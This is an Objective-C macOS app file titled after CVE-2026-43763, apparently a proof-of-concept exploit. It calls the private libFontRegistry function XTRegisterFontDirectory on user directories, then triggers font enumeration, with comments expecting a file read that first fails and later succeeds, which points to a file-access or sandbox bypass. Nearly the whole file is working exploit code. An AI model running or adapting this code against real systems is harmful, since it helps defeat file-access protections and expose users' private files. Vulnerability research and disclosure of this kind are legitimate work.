CVE-2026-43763

ViewController.m

//
//  ViewController.m
//  CVE-2026-43763
//
//  Created by seo on 8/20/26.
//

#import "ViewController.h"
#import <dlfcn.h>
#import <CoreText/CoreText.h>

typedef int (*XTRegFn)(CFURLRef, CFDataRef, unsigned int, unsigned int);
typedef int (*XTUnregFn)(CFURLRef, unsigned int);


bool tryReadFile(NSString *path) {
    NSData *data = [NSData dataWithContentsOfFile:path options:0 error:nil];
    if (data) {
        printf("[%s:%d] read success from %s (%lu bytes)\n",
               __FUNCTION__, __LINE__, path.UTF8String, (unsigned long)data.length);
        return true;
    } else {
        access(path.UTF8String, R_OK);
        printf("[%s:%d] read failed from %s, errno=%d\n",
               __FUNCTION__, __LINE__, path.UTF8String, errno);
    }
    return false;
}

@implementation ViewController

- (void)viewDidLoad {
    [super viewDidLoad];

    // Do any additional setup after loading the view.

    NSString *dirp = @"/Users/seo/Documents/poc";
    NSString *font = [dirp stringByAppendingPathComponent:@"test.ttf"];
    CFURLRef  dir  = (__bridge CFURLRef)[NSURL fileURLWithPath:dirp isDirectory:YES];

    void *lib = dlopen("/System/Library/Frameworks/ApplicationServices.framework"
                           "/Frameworks/ATS.framework/Versions/A/Resources/libFontRegistry.dylib", RTLD_NOW);
    XTRegFn   XTRegisterFontDirectory   = (XTRegFn)  dlsym(lib, "XTRegisterFontDirectory");
    XTUnregFn XTUnregisterFontDirectory = (XTUnregFn)dlsym(lib, "XTUnregisterFontDirectory");

    int r = XTRegisterFontDirectory((__bridge CFURLRef)[NSURL fileURLWithPath:@"/Users/seo/Documents/poc" isDirectory:YES], NULL, 1, 2);
    printf("[%s:%d] XTRegisterFontDirectory ret = %d\n", __FUNCTION__, __LINE__, r);
    r = XTRegisterFontDirectory((__bridge CFURLRef)[NSURL fileURLWithPath:@"/Users/seo/Documents" isDirectory:YES], NULL, 1, 2);
    printf("[%s:%d] XTRegisterFontDirectory ret = %d\n", __FUNCTION__, __LINE__, r);
    r = XTRegisterFontDirectory((__bridge CFURLRef)[NSURL fileURLWithPath:@"/Users/seo" isDirectory:YES], NULL, 1, 2);
    printf("[%s:%d] XTRegisterFontDirectory ret = %d\n", __FUNCTION__, __LINE__, r);

    while (access(font.UTF8String, R_OK) != 0 && errno == ENOENT) {
        printf("Please put test.ttf at %s\n", dirp.UTF8String);
        usleep(1000000);
    }

    // should be fail
    tryReadFile(font);

    sleep(3);

    CFArrayRef urls = CTFontManagerCopyAvailableFontURLs();
    if (urls) CFRelease(urls);

//    if (XTUnregisterFontDirectory) XTUnregisterFontDirectory(dir, 2);

    // should be success
    // it not successful, rerun again
    tryReadFile(font);
    printf("[%s:%d] done\n", __FUNCTION__, __LINE__);

}


- (void)setRepresentedObject:(id)representedObject {
    [super setRepresentedObject:representedObject];

    // Update the view, if already loaded.
}


@end